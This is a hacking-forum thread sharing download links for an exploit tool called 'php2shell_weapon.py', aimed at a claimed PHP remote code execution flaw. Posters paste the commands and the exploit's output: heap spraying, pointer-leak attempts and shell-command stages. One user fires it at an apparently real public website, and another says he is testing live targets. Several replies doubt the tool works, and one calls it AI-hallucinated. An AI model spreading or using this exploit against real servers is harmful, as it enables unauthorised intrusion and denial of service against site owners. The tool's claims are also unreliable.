+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: PHP2Shell CVE-2026-109618 Full Exploit Source (/showthread.php?tid=6334403)
Pages: Pages
1
2
PHP2Shell CVE-2026-109618 Full Exploit Source - rspower - Oct 21, 2026
https://jackalsyn.com/posts/php-up-2026.html
with the missing php2shell_weapon.py
DL:
https://anonfilesnew.com/s/vB6g7hBU2hv
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - Money- - Oct 21, 2026
Upload the full code here my man. But it seems like github repo have many more POCs, I haven't tried it out yet.
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - Sift - Oct 21, 2026
Maybe just include the original dl link lol from creator.
http://jackalsyn.com/posts/phpupAssets/php2shell-reup.zip
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - rspower - Oct 21, 2026
(42 hours ago)Sift Wrote: Maybe just include the original dl link lol from creator.
http://jackalsyn.com/posts/phpupAssets/php2shell-reup.zip
In the original download link, php2shell_weapon.py is missing without it, the RCE exploit doesn't work. He intentionally left it out. In mine, I reconstructed it
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - bandors - Oct 21, 2026
Did you actually get it to work on anything? I have yet to have it work on anything.
I'm cooking, give me a few bros
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - ๖ۣۜLadon Kkc - Oct 21, 2026
Does it work ?
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - bandors - Oct 21, 2026
python3 php2shell_weapon.py http://10.0.27.162/index.php --profile medium --command 'whoami'
php2shell weapon | profile=medium files=2 namelen=48MB spray=150 leak=auto cmd='whoami' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.
[arm ] body=96MB
[arm ] status=413 dt=16.45s OOM=False <- need pre-RINIT OOM to orphan
[p1 ] body=4MB
[p1 ] status=200 dt=3.61s OOM=False
[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=4.23s
[leak] AUTO zval_ptr_dtor candidate=0x206c753c09090a3e
[leak] zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0)
[leak] cand 0x206c753c09090a3e [body@0x11500]
[leak] cand 0x207669643c090909 [body@0x10748]
[leak] cand 0x207669643c09090a [body@0x12618]
[leak] cand 0x207669643c090a09 [body@0x111c0]
[leak] cand 0x207669643c0a090a [body@0x104c0]
[leak] cand 0x2d61746164090909 [body@0xfcd0]
[call] dtor=0x206c753c09090a3e zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0) t[]=149 cmd='whoami'
[call] attempt 1/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=8.59s
[call] attempt 2/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.48s
[call] attempt 3/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s
[call] attempt 4/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.22s
[call] attempt 5/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.45s
[call] attempt 6/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s
[call] attempt 7/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.21s
[call] attempt 8/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s
having the swarm investigate it
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - rspower - Oct 21, 2026
A (12MB): 253870B in 2.1s
B: 65536B in 0.8s
first line: b'HTTP/1.1 200 OK'
tail: b'itle title_font">\n <a href="https://www.xxxxxx.com/en/309-mo'
PHPSESSID cookie: r9gejj1re5coo4efimfl96nobr (len=26)
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - bandors - Oct 21, 2026
GG sift for showing me first working poc
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - banc1234 - Oct 21, 2026
root@support:~# python3 php2shell_weapon.py https://sportruse.si
php2shell weapon | profile=high files=1 namelen=160MB spray=150 leak=auto cmd='id' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.
[arm ] body=160MB
[arm ] status=200 dt=14.23s OOM=False <- need pre-RINIT OOM to orphan
[p1 ] body=4MB
[p1 ] status=200 dt=0.32s OOM=False
[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=1.56s
[leak] no reflected banner pointer -> MARKER (ungated crash demo)
[call] no leak -> dtor=MARKER (ungated crash/marker receipt)
[call] dtor=0x4141414141414141 zend_call_function=0x4141414141355d51 (dtor-0xBE3F0) t[]=149 cmd='id'
Traceback (most recent call last):
File "/root/php2shell_weapon.py", line 284, in <module>
main()
File "/root/php2shell_weapon.py", line 264, in main
body = P.fire_body(fire_sid, bnd, spray, ctx, n_small=T_COUNT, t_small=small)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: fire_body() got an unexpected keyword argument 't_small'
root@support:~#
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - Sift - Oct 21, 2026
It won’t work for rce it will work for memory corruption it’s attempting to grab the memory offset from the html body it’s why it won’t work for rce chain at all.
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - rspower - Oct 21, 2026
local works testing live targets now
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - vorcoder - Oct 21, 2026
this days, it makes sense to me if its rce, nothing less
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - SIM-4100934 - Oct 21, 2026
That is some ai hallucinated shit und not a working exploit
RE: PHP2Shell CVE-2026-109618 Full Exploit Source - ๖ۣۜLadon Kkc - Oct 21, 2026
Nobody got a working one ?